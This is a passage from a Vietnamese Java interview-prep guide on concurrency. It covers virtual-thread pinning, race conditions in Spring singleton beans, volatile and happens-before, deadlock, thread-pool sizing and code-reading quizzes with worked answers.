public class PinningExample {
    private final ReentrantLock lock = new ReentrantLock();
 
    // WRONG on Java 21: blocking I/O inside synchronized pins the carrier thread
    synchronized String refreshTokenPinned() throws InterruptedException {
        Thread.sleep(1000);                         // stands for an HTTP call to the auth server
        return "token";
    }
 
    // FIX on Java 21: ReentrantLock lets the virtual thread unmount while waiting
    String refreshToken() throws InterruptedException {
        lock.lock();
        try {
            Thread.sleep(1000);                     // virtual thread unmounts, carrier is free
            return "token";
        } finally {
            lock.unlock();
        }
    }
}



Giải thích: Hai method có cùng ý nghĩa (mỗi lúc một thread làm mới token), khác nhau ở loại khóa. Trên Java 21, refreshTokenPinned giữ carrier suốt 1 giây chờ; refreshToken dùng ReentrantLock, khi sleep (hay I/O) thì virtual thread được tháo khỏi carrier. Phát hiện pinning bằng JFR event jdk.VirtualThreadPinned. Từ Java 24 (JEP 491), synchronized không còn gây pinning trong trường hợp này nên hai method hoạt động như nhau; nhưng nếu production chạy Java 21, đây vẫn là điều phải kiểm tra, kể cả trong thư viện bạn dùng (driver JDBC cũ, HTTP client cũ).
3.11 Race condition trong Spring singleton bean
Bean mặc định là singleton: một instance dùng chung cho mọi request, tức là mọi thread của Tomcat. Bất kỳ field mutable nào trong bean đều là trạng thái chia sẻ. Đây là lỗi tôi gặp trong code review nhiều hơn mọi lỗi concurrency khác cộng lại. Đoạn code dưới đây là một service singleton có hai lỗi trạng thái chia sẻ, kèm phiên bản đã sửa headerFixed:
	import java.text.SimpleDateFormat;
import java.time.LocalDate;
import java.time.format.DateTimeFormatter;
import java.util.Date;
 
// @Service
public class InvoiceService {
    private String currentCustomer;  // WRONG: request A writes, B overwrites, A reads B's value
    private final SimpleDateFormat legacyFmt = new SimpleDateFormat("dd/MM/yyyy"); // WRONG: not thread-safe
    private static final DateTimeFormatter FMT = DateTimeFormatter.ofPattern("dd/MM/yyyy"); // OK: immutable
 
    public String header(String customer, Date legacy, LocalDate issued) {
        this.currentCustomer = customer;
        return currentCustomer + " - " + legacyFmt.format(legacy) + " - " + FMT.format(issued);
    }
 
    public String headerFixed(String customer, LocalDate issued) {
        return customer + " - " + FMT.format(issued);  // only parameters and immutable objects
    }
}



Giải thích: Khi hai request chạy đồng thời trên hai thread Tomcat, request A gán currentCustomer = "An"; trước khi A kịp đọc lại field để ghép chuỗi, request B đã gán "Bình", và A trả về header mang tên khách hàng Bình, tức là lộ dữ liệu của người khác. SimpleDateFormat giữ trạng thái trung gian (một Calendar bên trong) trong lúc format/parse, nên dùng chung giữa nhiều thread có thể cho ra ngày sai, hoặc ném exception khó hiểu như NumberFormatException khi parse. Cả hai lỗi đều không lộ ra khi test tay từng request một. headerFixed an toàn vì chỉ dùng tham số (nằm trên stack riêng của mỗi thread) và DateTimeFormatter là object bất biến, dùng chung thoải mái.
Nguyên tắc: bean singleton phải stateless, chỉ giữ dependency final được inject qua constructor và object bất biến hoặc thread-safe. Dữ liệu theo request đi qua tham số method hoặc biến cục bộ. Nếu thật sự cần trạng thái chia sẻ (bộ đếm, cache), dùng AtomicLong, ConcurrentHashMap, Caffeine. Đổi scope sang prototype hoặc request thường là né vấn đề chứ không phải giải quyết.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Race condition gần như không bao giờ lộ ra khi test tay trên máy dev. Nếu bạn kể được cách mình tái hiện (bắn tải bằng JMeter/Gatling, hoặc viết test dùng CountDownLatch cho nhiều thread chạy đồng thời), người phỏng vấn sẽ đánh giá rất cao.



3.12 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Cơ bản): volatile khác synchronized thế nào? Dùng volatile cho bộ đếm được không?
volatile đảm bảo visibility và thứ tự (happens-before giữa ghi và đọc), nhưng không đảm bảo atomicity cho thao tác phức hợp. count++ trên biến volatile vẫn mất cập nhật vì gồm đọc, cộng, ghi. synchronized đảm bảo cả loại trừ lẫn nhau và visibility cho cả khối lệnh. Bộ đếm thì dùng AtomicLong hoặc LongAdder.
	BẪY THƯỜNG GẶP
"volatile làm thread đọc thẳng từ RAM nên an toàn đa luồng." Vừa sai bản chất (là memory barrier và happens-before), vừa sai kết luận (không có atomicity).



	CÂU HỎI ĐÀO SÂU
"Vì sao double-checked locking cần volatile?" — instance = new Singleton() gồm cấp phát, khởi tạo, gán tham chiếu; không có volatile, việc gán có thể bị sắp xếp trước khởi tạo, thread khác thấy instance khác null nhưng chưa khởi tạo xong. Trong Spring thì bạn hầu như không cần tự viết singleton.



Câu hỏi (Hiểu sâu): Khi nào dùng ReentrantLock thay vì synchronized?
Khi cần tryLock có timeout để tránh deadlock, cần chờ lock mà có thể bị interrupt, cần fairness, cần nhiều Condition, hoặc trên Java 21 cần tránh pinning virtual thread khi có I/O trong vùng găng. Ngoài các trường hợp đó, synchronized ngắn gọn và không thể quên unlock.
	BẪY THƯỜNG GẶP
Gọi lock() mà không đặt unlock() trong finally. Một exception là lock bị giữ vĩnh viễn.



Câu hỏi (Cơ bản): Deadlock là gì, phòng tránh và phát hiện thế nào?
Hai hoặc nhiều thread chờ vòng tròn lock của nhau. Phòng tránh bằng lock ordering (khóa theo id tăng dần), tryLock có timeout, thu nhỏ vùng găng và không gọi ra ngoài khi giữ lock. Phát hiện bằng jstack: thread dump in rõ "Found one Java-level deadlock" kèm lock mà mỗi thread giữ và chờ.
	CÂU HỎI ĐÀO SÂU
"Deadlock ở DB khác gì?" — DB tự phát hiện và rollback một transaction; ứng dụng nhận exception, cần retry có giới hạn và cập nhật các row theo thứ tự nhất quán.



Câu hỏi (Thực chiến): Vì sao không nên dùng Executors.newFixedThreadPool trên production?
Nó dùng LinkedBlockingQueue không giới hạn. Khi task đến nhanh hơn tốc độ xử lý, queue phình mãi đến OutOfMemoryError, trong khi request của người dùng chờ vô hạn thay vì bị từ chối sớm. Tôi dùng ThreadPoolExecutor với queue có giới hạn, thread có tên, và rejection policy có chủ đích như CallerRunsPolicy hoặc AbortPolicy rồi trả 503.
	CÂU HỎI ĐÀO SÂU
"Với core=10, max=50, queue=1000, khi nào có thread thứ 11?" — Chỉ khi queue đã đầy 1000 task. Nhiều người tưởng pool tăng thread trước rồi mới xếp hàng, thực tế là ngược lại.



Câu hỏi (Hiểu sâu): thenApply và thenCompose khác nhau thế nào? Xử lý lỗi trong CompletableFuture ra sao?
thenApply biến đổi giá trị (map); thenCompose dùng khi bước tiếp theo trả về một CompletableFuture, để làm phẳng (flatMap). Lỗi xử lý bằng exceptionally (giá trị dự phòng) hoặc handle (xử lý cả hai nhánh); timeout bằng orTimeout/completeOnTimeout. Chờ nhiều future bằng allOf rồi join từng cái.
	BẪY THƯỜNG GẶP
Dùng supplyAsync không truyền executor cho lời gọi I/O: toàn bộ chạy trên common pool với số thread bằng số core trừ một, nghẽn cả parallel stream của ứng dụng.



Câu hỏi (Hiểu sâu): ConcurrentHashMap khác synchronizedMap và Hashtable thế nào?
Hashtable và synchronizedMap khóa toàn bộ map cho mọi thao tác, kể cả đọc. ConcurrentHashMap (Java 8+) ghi bằng CAS hoặc khóa riêng từng bucket, đọc không khóa, iterator weakly consistent, không cho null. Nhưng nó chỉ nguyên tử từng thao tác; chuỗi "kiểm tra rồi ghi" phải dùng computeIfAbsent, merge, putIfAbsent.
	GHI CHÚ
Tài liệu cũ mô tả ConcurrentHashMap chia 16 segment. Đó là cài đặt Java 7; từ Java 8 đã chuyển sang CAS và khóa theo bucket.



Câu hỏi (Hiểu sâu): ThreadLocal gây rò rỉ như thế nào?
Thread trong pool sống suốt vòng đời ứng dụng, nên giá trị ThreadLocal không được remove() sẽ sống mãi (rò rỉ bộ nhớ) và bị request sau trên cùng thread đọc nhầm (rò rỉ dữ liệu giữa người dùng). Luôn set và remove theo cặp trong try/finally, thường ở Filter/Interceptor.
	CÂU HỎI ĐÀO SÂU
"Vì sao code trong @Async không thấy SecurityContext?" — Vì ThreadLocal không truyền sang thread khác; cần TaskDecorator hoặc cơ chế propagate context.



Câu hỏi (Hiểu sâu): Virtual threads là gì? Có nên bật cho mọi service không?
Là thread nhẹ do JVM quản lý, unmount khỏi carrier khi blocking I/O, cho phép hàng trăm nghìn tác vụ đồng thời với code blocking bình thường. Hợp với service I/O-bound kiểu thread-per-request. Trước khi bật tôi kiểm tra: tác vụ có chủ yếu là I/O không, thư viện có synchronized bao quanh I/O gây pinning trên Java 21 không, và tài nguyên phía sau (connection pool, API đối tác) có chịu được mức đồng thời cao hơn không.
	BẪY THƯỜNG GẶP
Đưa virtual thread vào một pool cố định, hoặc kỳ vọng tác vụ CPU chạy nhanh hơn. Virtual thread giúp chờ rẻ hơn, không giúp tính nhanh hơn.



Câu hỏi (Thực chiến): Spring bean là singleton, vậy có thread-safe không?
Không tự động. Singleton chỉ nói có một instance; thread-safe hay không phụ thuộc bean có trạng thái mutable hay không. Bean stateless (chỉ có dependency final) thì an toàn. Field như currentUser, List tích lũy, SimpleDateFormat là race condition.
	CÂU HỎI ĐÀO SÂU
"Bạn phát hiện và sửa lỗi này thế nào?" — Review field không final trong bean, tái hiện bằng test nhiều thread với CountDownLatch hoặc test tải, sửa bằng cách đưa dữ liệu vào tham số/biến cục bộ, dùng object bất biến như DateTimeFormatter, hoặc cấu trúc thread-safe.



Câu hỏi (Cơ bản): Làm sao đảm bảo thread A chạy xong trước thread B?
Không dựa vào setPriority(): độ ưu tiên chỉ là gợi ý cho scheduler, không đảm bảo thứ tự. Dùng join(), CountDownLatch, hoặc nối bằng CompletableFuture (futureA.thenRunAsync(taskB, executor)). Nếu hai việc bắt buộc tuần tự, có khi câu trả lời tốt nhất là chạy chúng trong cùng một thread.
Câu hỏi (Cơ bản): Race condition là gì? Cho một ví dụ cụ thể.
Race condition là khi kết quả phụ thuộc vào thứ tự xen kẽ ngẫu nhiên của các thread cùng truy cập dữ liệu chung, trong đó ít nhất một thread ghi. Ví dụ: hai thread cùng count++ từ 10; cả hai đọc 10, cả hai ghi 11, mất một lần tăng. Ví dụ nghiệp vụ: hai request cùng kiểm tra "còn 1 sản phẩm trong kho" rồi cùng trừ kho, kết quả bán vượt số lượng. Race condition khó bắt vì chỉ xảy ra khi thời điểm trùng khớp, thường chỉ lộ ra dưới tải.
	CÂU HỎI ĐÀO SÂU
"Race condition trong DB thì sao?" — Cùng bản chất (lost update). Sửa bằng câu lệnh nguyên tử UPDATE stock SET qty = qty - 1 WHERE id = ? AND qty > 0, optimistic locking (@Version) hoặc SELECT ... FOR UPDATE. synchronized trong Java không giúp gì khi có nhiều pod.



Câu hỏi (Cơ bản): Monitor là gì? synchronized method khóa object nào?
Monitor là khóa có sẵn trong mọi object Java; synchronized lấy monitor khi vào và nhả khi ra. Instance method synchronized khóa this; static method synchronized khóa object Class của class đó (Foo.class); khối synchronized (obj) khóa obj. Hai thread chỉ loại trừ nhau khi cùng khóa một object. Monitor còn đi kèm wait()/notify(), chỉ gọi được khi đang giữ chính monitor đó.
Câu hỏi (Cơ bản): Visibility là gì? volatile giải quyết vấn đề gì và không giải quyết vấn đề gì?
Visibility là việc giá trị một thread ghi có được thread khác nhìn thấy hay không; volatile đảm bảo điều đó cho từng lần đọc/ghi biến, nhưng không làm thao tác phức hợp trở thành nguyên tử. Không có volatile, JIT có thể chỉ đọc một biến một lần và giữ trong register, khiến vòng lặp chờ cờ chạy mãi. volatile phù hợp với cờ dừng, cấu hình được thay nguyên object, cờ "dữ liệu đã sẵn sàng". Nó không sửa được count++ hay "kiểm tra rồi ghi".
Câu hỏi (Cơ bản): Runnable và Callable khác nhau thế nào? execute() và submit() xử lý exception ra sao?
Runnable không trả kết quả và không ném checked exception; Callable trả kết quả và được ném checked exception. execute(Runnable) để exception bay tới UncaughtExceptionHandler, nên ít nhất có stack trace trên stderr. submit(...) bọc task trong Future, exception bị giữ lại và chỉ ném ra (bọc trong ExecutionException) khi gọi get(); không ai gọi get() thì lỗi biến mất không dấu vết (xem 3.2).
Câu hỏi (Đọc code): Chương trình dưới đây có thể in ra những giá trị nào?
	public class RaceQuiz {
    static int count = 0;
 
    public static void main(String[] args) throws InterruptedException {
        Runnable job = () -> { for (int i = 0; i < 1000; i++) count++; };
        Thread a = new Thread(job), b = new Thread(job);
        a.start(); b.start();
        a.join(); b.join();
        System.out.println(count);    // any value from 2 to 2000; often exactly 2000 for such short loops
    }
}



Đáp án: Về lý thuyết, bất kỳ giá trị nào từ 2 đến 2000. Thực tế với vòng lặp ngắn 1000 lần thường in đúng 2000, vì thread đầu có thể chạy xong trước khi thread sau kịp bắt đầu; tăng lên 1.000.000 vòng thì gần như luôn in số nhỏ hơn 2.000.000.
1. Không có happens-before giữa các lần count++ của hai thread, nên mỗi lần tăng có thể bị ghi đè như bảng ở 3.1.
1. Giá trị nhỏ nhất 2 xảy ra với một cách xen kẽ cực đoan: A đọc 0, B chạy 999 vòng, A ghi 1, B đọc 1, A chạy hết 999 vòng, B ghi 2.
1. join() đảm bảo main thấy giá trị cuối cùng mà hai thread đã ghi, nhưng không sửa được việc mất cập nhật bên trong.
1. Bài học: "chạy thử thấy đúng" không chứng minh code thread-safe.
Câu hỏi (Đọc code): Đoạn code dưới đây có bị deadlock không? In ra gì?
	public class ReentrantQuiz {
    synchronized void outer() {
        System.out.println("outer");
        inner();                          // needs the same monitor this thread already holds
    }
 
    synchronized void inner() {
        System.out.println("inner");
    }
 
    public static void main(String[] args) {
        new ReentrantQuiz().outer();      // prints: outer, then inner
    }
}



Đáp án: Không deadlock, in outer rồi inner. Monitor của Java là reentrant: thread đang giữ monitor của this được vào lại khối synchronized khác trên cùng object, JVM chỉ tăng bộ đếm số lần giữ và giảm khi ra. Nếu monitor không reentrant, một thread sẽ tự chờ chính nó. ReentrantLock cũng có tính chất này, như tên gọi của nó.
Câu hỏi (Đọc code): Method chuyển tiền dưới đây có thể deadlock không?
	public class NaiveTransfer {
    static final class Account { long balance; }
 
    static void transfer(Account from, Account to, long amount) {
        synchronized (from) {
            synchronized (to) {           // lock order depends on the call arguments
                from.balance -= amount;
                to.balance += amount;
            }
        }
    }
}



Đáp án: Có thể, khi hai thread chuyển ngược chiều nhau cùng lúc. Không phải lần nào cũng xảy ra, đó là điều nguy hiểm.
	Thời điểm
	Thread 1: transfer(x, y)
	Thread 2: transfer(y, x)

	t1
	Khóa x
	Khóa y

	t2
	Chờ khóa y (B đang giữ)
	Chờ khóa x (A đang giữ)

	t3
	Chờ mãi
	Chờ mãi



Đủ bốn điều kiện deadlock, trong đó circular wait do thứ tự khóa phụ thuộc vào tham số. Sửa bằng lock ordering theo id như TransferService ở 3.5, hoặc dùng tryLock có timeout. Trên thực tế, chuyển tiền nên dựa vào transaction và khóa row của database chứ không dựa vào lock trong JVM.
Câu hỏi (Đọc code): Thread reader in ra gì?
	public class PublishQuiz {
    static int data = 0;
    static volatile boolean ready = false;
 
    public static void main(String[] args) throws InterruptedException {
        Thread reader = new Thread(() -> {
            while (!ready) { Thread.onSpinWait(); }   // spin until the volatile flag flips
            System.out.println(data);                 // prints: 42
        });
        reader.start();
        data = 42;                                    // plain write BEFORE the volatile write
        ready = true;                                 // volatile write publishes data too
        reader.join();
    }
}



Đáp án: Luôn in 42. Ghi data = 42 đứng trước ghi volatile ready = true trong thread main; ghi volatile happens-before lần đọc thấy ready == true trong reader; do đó reader chắc chắn thấy data = 42 (xem bảng ở 3.3).
1. Nếu bỏ volatile khỏi ready: reader có thể lặp mãi (không bao giờ thấy true), hoặc thấy true nhưng in 0 vì lệnh bị sắp xếp lại.
1. Nếu đảo thứ tự, ghi ready = true trước data = 42: reader có thể in 0, vì phần ghi sau lệnh volatile không được bảo đảm.
Câu hỏi (Đọc code): Chuỗi CompletableFuture dưới đây in ra gì?
	import java.util.concurrent.CompletableFuture;
 
public class CfChainQuiz {
    public static void main(String[] args) {
        String result = CompletableFuture.supplyAsync(() -> 10)
                .thenApply(x -> x / 0)                          // throws ArithmeticException
                .thenApply(x -> "never " + x)                   // skipped
                .exceptionally(ex -> "fallback: " + ex.getCause().getClass().getSimpleName())
                .thenApply(String::toUpperCase)                 // runs again after recovery
                .join();
        System.out.println(result);                             // prints: FALLBACK: ARITHMETICEXCEPTION
    }
}



Đáp án: In FALLBACK: ARITHMETICEXCEPTION.
1. x / 0 ném ArithmeticException, stage đó hoàn thành với lỗi.
1. thenApply thứ hai bị bỏ qua vì stage trước lỗi; lỗi chảy xuống stage kế tiếp.
1. exceptionally bắt lỗi (được bọc trong CompletionException, nên dùng getCause()), trả về chuỗi dự phòng; từ đây chuỗi trở lại trạng thái bình thường, nên toUpperCase vẫn chạy.
1. Giống try/catch: đặt exceptionally ở đâu thì nó chỉ bắt lỗi của các stage đứng trước nó.
Câu hỏi (Đọc code): Pool dưới đây có bao nhiêu thread và task nào bị từ chối?
	import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.RejectedExecutionException;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
 
public class PoolQuiz {
    public static void main(String[] args) {
        CountDownLatch gate = new CountDownLatch(1);
        ThreadPoolExecutor pool = new ThreadPoolExecutor(2, 4, 30, TimeUnit.SECONDS, new ArrayBlockingQueue<>(2));
        for (int id = 1; id <= 7; id++) {
            try {
                pool.execute(() -> { try { gate.await(); } catch (InterruptedException e) { } });
            } catch (RejectedExecutionException e) {
                System.out.println("rejected task " + id);              // prints: rejected task 7
            }
        }
        System.out.println("threads=" + pool.getPoolSize() + ", queued=" + pool.getQueue().size()); // prints: threads=4, queued=2
        gate.countDown();
        pool.shutdown();
    }
}



Đáp án: In rejected task 7 rồi threads=4, queued=2.
1. Task 1, 2: dưới core, tạo thread 1 và 2.
1. Task 3, 4: đủ core, vào queue (2/2).
1. Task 5, 6: queue đầy, còn dưới max 4, tạo thread 3 và 4 chạy ngay task 5 và 6.
1. Task 7: đủ max và queue đầy, AbortPolicy ném RejectedExecutionException.
1. Sức chứa tối đa của pool = max + queue = 6 task cùng lúc.
Câu hỏi (Đọc code): Tìm lỗi trong cách dùng ReentrantLock dưới đây.
	import java.util.concurrent.locks.ReentrantLock;
 
public class LockMisuse {
    private final ReentrantLock lock = new ReentrantLock();
    private int stock = 10;
 
    boolean reserve(int qty) {
        try {
            lock.lock();                          // WRONG: lock() inside try
            if (stock < qty) return false;        // early return, still unlocked in finally: OK
            stock -= qty;
            validate(stock);                      // may throw
            return true;
        } finally {
            lock.unlock();
        }
    }
 
    private void validate(int s) { if (s < 0) throw new IllegalStateException("negative stock"); }
}



Đáp án: Lỗi nằm ở vị trí lock.lock(): phải đặt trước try, không phải bên trong.
1. Nếu lock() thất bại (ví dụ dùng lockInterruptibly() và thread bị interrupt), finally vẫn gọi unlock() trên khóa chưa giữ, ném IllegalMonitorStateException che mất exception gốc.
1. Mẫu chuẩn: lock.lock(); try { ... } finally { lock.unlock(); }.
1. Phần còn lại đúng: return false sớm và exception từ validate đều đi qua finally nên khóa được nhả. Một vấn đề thiết kế nữa: trừ kho trước rồi mới validate khiến trạng thái đã bị sửa khi ném exception; nên kiểm tra trước khi sửa.
Câu hỏi (Đọc code): Singleton dưới đây có lỗi gì?
	public class ConfigHolder {
    private static ConfigHolder instance;             // missing volatile
    private final java.util.Map<String, String> props;
 
    private ConfigHolder() { props = java.util.Map.of("timeout", "30s"); }
 
    public static ConfigHolder get() {
        if (instance == null) {                       // 1st check without lock
            synchronized (ConfigHolder.class) {
                if (instance == null) {               // 2nd check with lock
                    instance = new ConfigHolder();
                }
            }
        }
        return instance;
    }
}



Đáp án: Thiếu volatile trên instance, nên double-checked locking bị hỏng.
1. instance = new ConfigHolder() gồm cấp phát, chạy constructor, gán tham chiếu; không có volatile, việc gán có thể được thấy trước khi constructor chạy xong.
1. Thread khác đi qua lần kiểm tra thứ nhất (không khóa), thấy instance != null và dùng một object chưa khởi tạo xong. Lần đọc không khóa đó không có happens-before với lần ghi trong khối synchronized.
1. Sửa: thêm volatile, hoặc tốt hơn dùng holder idiom (static class Holder { static final ConfigHolder I = new ConfigHolder(); }), tận dụng việc JVM khởi tạo class một lần và thread-safe (xem 2.1). Trong Spring, cứ để container quản lý singleton.
Câu hỏi (Hiểu sâu): Happens-before là gì? Kể các quy tắc bạn dùng thường xuyên.
Happens-before là bảo đảm của Java Memory Model: nếu X happens-before Y thì mọi thứ X đã ghi đều được Y nhìn thấy. Nó không nói về thời gian thực mà về khả năng nhìn thấy. Các quy tắc hay dùng:
1. Trong cùng một thread, lệnh trước happens-before lệnh sau.
1. Nhả monitor happens-before lần lấy monitor đó sau này (synchronized, Lock).
1. Ghi volatile happens-before lần đọc biến đó sau này.
1. Thread.start() happens-before mọi lệnh trong thread mới; mọi lệnh trong thread happens-before join() trả về.
1. Đưa task vào ExecutorService happens-before lúc task chạy; task hoàn thành happens-before Future.get() trả về.
	CÂU HỎI ĐÀO SÂU
"Happens-before có tính bắc cầu không?" — Có. Chính tính bắc cầu cho phép một biến volatile "công bố" cả những biến thường được ghi trước nó (xem PublishQuiz).



Câu hỏi (Hiểu sâu): CAS hoạt động thế nào và vì sao không cần lock?
CAS là một lệnh CPU nguyên tử: chỉ ghi giá trị mới nếu giá trị hiện tại vẫn bằng giá trị mong đợi, nếu không thì báo thất bại để thread thử lại. Không thread nào bị đưa vào trạng thái chờ; thread thua chỉ đọc lại và thử tiếp. Vì vậy CAS nhanh khi tranh chấp thấp. Nhược điểm: tranh chấp cao thì vòng thử lại đốt CPU, chỉ nguyên tử trên một biến, và có vấn đề ABA.
Câu hỏi (Hiểu sâu): AtomicLong và LongAdder khác nhau thế nào, khi nào dùng cái nào?
AtomicLong là một biến duy nhất cập nhật bằng CAS; LongAdder chia bộ đếm thành nhiều ô để các thread ít đụng nhau, và cộng các ô lại khi đọc.
	
	AtomicLong
	LongAdder

	Tranh chấp cao
	Nhiều CAS thất bại, chậm
	Nhanh, mỗi thread một ô

	Đọc giá trị
	Chính xác tức thời
	sum() có thể lệch khi đang ghi

	Thao tác
	compareAndSet, getAndUpdate...
	Chỉ cộng, đọc tổng

	Dùng khi
	Sinh id, cần CAS có điều kiện
	Metric, đếm request



Câu hỏi (Hiểu sâu): Vì sao wait() phải được gọi trong vòng while chứ không phải if?
Vì thread có thể thức dậy mà điều kiện chưa đúng: spurious wakeup, hoặc thread khác đã "cướp" mất điều kiện trước khi nó lấy lại monitor. Mẫu đúng là synchronized (lock) { while (!condition) lock.wait(); ... }. Ví dụ hàng đợi: hai consumer cùng chờ, producer thêm một phần tử và notifyAll(); consumer thứ nhất lấy mất, consumer thứ hai thức dậy thấy queue rỗng; dùng if thì nó sẽ lấy từ queue rỗng. Trong code hiện đại, dùng BlockingQueue thay vì tự viết.
Câu hỏi (Hiểu sâu): Vì sao biến cục bộ tự nhiên thread-safe còn field của bean thì không?
Vì biến cục bộ nằm trong stack frame riêng của từng thread, còn field nằm trong object trên Heap mà mọi thread dùng chung. Đây là kiến thức nối từ 2.2: mỗi lần gọi method có frame riêng, hai request gọi cùng method trên hai thread có hai bản biến cục bộ độc lập. Field của singleton bean thì chỉ có một bản. Lưu ý: biến cục bộ kiểu object chỉ là tham chiếu; nếu nó trỏ tới một object dùng chung (ví dụ một List static), object đó vẫn không an toàn.
Câu hỏi (Hiểu sâu): ThreadLocal với virtual thread và memory leak liên quan nhau thế nào?
ThreadLocal gắn giá trị vào object thread; thread sống bao lâu thì giá trị sống bấy lâu, và đó là GC root dẫn tới leak (2.4).
1. Với thread pool (Tomcat, executor), thread sống mãi nên giá trị không remove() sống mãi và lẫn sang request sau.
1. Với virtual thread, mỗi task một thread mới nên giá trị chết theo thread, ít nguy cơ lẫn dữ liệu hơn. Nhưng một triệu virtual thread mỗi cái giữ một bản sao object nặng (ví dụ cache SimpleDateFormat, buffer) thì Heap phình to.
1. Vì vậy không dùng ThreadLocal làm cache object nặng; Scoped Values là hướng thay thế.
Câu hỏi (Hiểu sâu): Pinning là gì? Carrier thread liên quan gì?
Carrier thread là platform thread thật mà virtual thread chạy trên đó; pinning là khi virtual thread đang chờ mà không tháo được khỏi carrier, nên carrier bị chiếm vô ích. Trên Java 21, blocking bên trong synchronized hoặc native method gây pinning. Số carrier bằng số core, nên vài thread bị ghim là đủ làm cả ứng dụng nghẽn dù có hàng nghìn virtual thread. Cách xử lý trên Java 21: dùng ReentrantLock quanh I/O, phát hiện bằng JFR event jdk.VirtualThreadPinned. Java 24 trở đi đã sửa trường hợp synchronized.
Câu hỏi (Hiểu sâu): Vì sao không nên pool virtual thread? Muốn giới hạn đồng thời thì làm gì?
Pool tồn tại để tái sử dụng thứ đắt, mà virtual thread thì rẻ; pool virtual thread chỉ thêm giới hạn nhân tạo và giữ ThreadLocal cũ. Mục đích thật khi người ta muốn "pool" thường là giới hạn số lời gọi đồng thời tới tài nguyên (DB, API đối tác). Hãy giới hạn đúng tài nguyên đó bằng Semaphore (ví dụ new Semaphore(20) quanh lời gọi API) hoặc bằng connection pool, và vẫn tạo virtual thread mới cho mỗi task.
Câu hỏi (Thực chiến): CPU của service lên 100% sau lần deploy mới. Thread dump cho thấy vài thread RUNNABLE ở cùng một vòng lặp chờ. Bạn xử lý thế nào?
Đó là busy-wait: thread quay vòng kiểm tra điều kiện liên tục thay vì ngủ chờ, đốt trọn một core cho mỗi thread.
1. Xác nhận: top -H -p <pid>, đổi TID sang hex, đối chiếu nid trong 3 lần jstack liên tiếp (xem 2.5); cùng stack trace lặp lại ở vòng while (!done) {} hoặc vòng retry không có sleep.
1. Giảm tác động: rollback bản deploy nếu cần.
1. Sửa: thay busy-wait bằng cơ chế chờ có thông báo (CountDownLatch, CompletableFuture, BlockingQueue.take()); retry thì phải có backoff và giới hạn số lần.
1. Nếu thread nóng lại là thread GC thì vấn đề là bộ nhớ, quay về quy trình OOM ở 2.6.
Câu hỏi (Thực chiến): API timeout hàng loạt, thread dump cho thấy 200 thread Tomcat đều WAITING ở HikariPool.getConnection. Chuyện gì xảy ra?
Thread pool của Tomcat cạn vì mọi thread đang xếp hàng chờ connection DB; nút thắt thật là connection pool (mặc định 10 connection) hoặc các query đang giữ connection quá lâu.
1. Tìm những thread đang giữ connection: chúng thường đang chạy query chậm, hoặc tệ hơn là gọi HTTP ra ngoài bên trong @Transactional nên giữ connection suốt thời gian chờ.
1. Xem metric HikariCP: active, pending, thời gian chờ connection.
1. Sửa: tối ưu query chậm, đưa lời gọi ngoài ra khỏi transaction, đặt connectionTimeout ngắn để fail nhanh thay vì treo, và chỉ tăng pool size khi DB chịu được.
	CÂU HỎI ĐÀO SÂU
"Bật virtual thread có giải quyết được không?" — Không. Hàng nghìn virtual thread vẫn chờ cùng 10 connection; thậm chí còn đẩy nhiều request hơn vào hàng chờ. Virtual thread dời nút thắt xuống tầng dưới chứ không xóa nó.



Câu hỏi (Thực chiến): Log xuất hiện RejectedExecutionException vào giờ cao điểm. Bạn xử lý thế nào?
Đó là pool đang báo quá tải đúng như thiết kế; việc cần làm là quyết định hành vi khi quá tải, không phải chỉ tăng queue cho hết lỗi.
1. Đo: thời gian chạy mỗi task, số task đến mỗi giây, activeCount, queue.size() theo thời gian (Micrometer có sẵn metric executor).
1. Nếu task chậm do phụ thuộc bên ngoài (DB, API) thì tăng thread không giúp; phải sửa chỗ chậm hoặc đặt timeout.
1. Chọn chính sách: trả 503 nhanh để client retry có backoff (AbortPolicy), làm chậm bên gửi (CallerRunsPolicy), hoặc đẩy việc sang message queue (Kafka, RabbitMQ) nếu không cần xử lý ngay.
1. Tăng queue lên rất lớn chỉ chuyển lỗi từ "bị từ chối" thành "chờ rất lâu rồi timeout" hoặc OOM.
Câu hỏi (Thực chiến): Pod bị OOMKilled sau khi một đồng nghiệp đổi executor sang Executors.newCachedThreadPool(). Vì sao?
newCachedThreadPool không giới hạn số thread; tải đột biến tạo hàng nghìn platform thread, mỗi thread một Stack ngoài Heap, tổng bộ nhớ process vượt limit của container. Như ở 2.2 và 2.5, Stack của thread nằm ở native memory, Heap vẫn trông bình thường nên dashboard Heap không báo gì, và kernel kill process không để lại heap dump. Có thể gặp OutOfMemoryError: unable to create native thread trước đó. Sửa: ThreadPoolExecutor có maximumPoolSize và queue giới hạn, hoặc virtual thread kèm Semaphore nếu tác vụ là I/O.
Câu hỏi (Thực chiến): Heap dump sau OOM cho thấy một LinkedBlockingQueue giữ 3 triệu Runnable. Nguyên nhân và cách sửa?
Đây là newFixedThreadPool (hoặc pool với queue không giới hạn) nhận task nhanh hơn tốc độ xử lý, queue phình tới hết Heap. Path to GC Roots trong MAT sẽ dẫn tới ThreadPoolExecutor.workQueue của pool đó. Mỗi Runnable còn giữ tham chiếu tới dữ liệu của task (payload, DTO), nên bộ nhớ lớn hơn nhiều so với số object. Sửa: queue có giới hạn kèm rejection policy (3.6), đo và sửa tốc độ xử lý, và cân nhắc backpressure từ phía nguồn (giới hạn consumer Kafka, rate limit API).
3.13 Tóm tắt trọng tâm
1. Các thread dùng chung Heap nhưng có Stack riêng, vì vậy biến cục bộ an toàn còn field của object dùng chung (kể cả Spring singleton bean) thì phải được bảo vệ.
1. Race condition xảy ra vì count++ và "kiểm tra rồi ghi" gồm nhiều bước có thể bị thread khác chen vào giữa, nên chạy thử thấy đúng không chứng minh được gì.
1. Visibility không tự có: thiếu happens-before thì JIT và CPU được phép để thread khác thấy giá trị cũ mãi mãi.
1. volatile cho visibility và cấm reorder nhưng không cho atomicity, vì vậy chỉ dùng cho cờ và công bố object, không dùng cho bộ đếm.
1. synchronized chỉ loại trừ khi các thread khóa cùng một object, nên dữ liệu static phải khóa ở mức class hoặc một lock static.
1. ReentrantLock phải lock() trước try và unlock() trong finally, vì một exception là đủ để khóa bị giữ vĩnh viễn.
1. CAS cập nhật không chặn thread nên nhanh khi tranh chấp thấp; tranh chấp cao thì LongAdder tốt hơn cho bộ đếm.
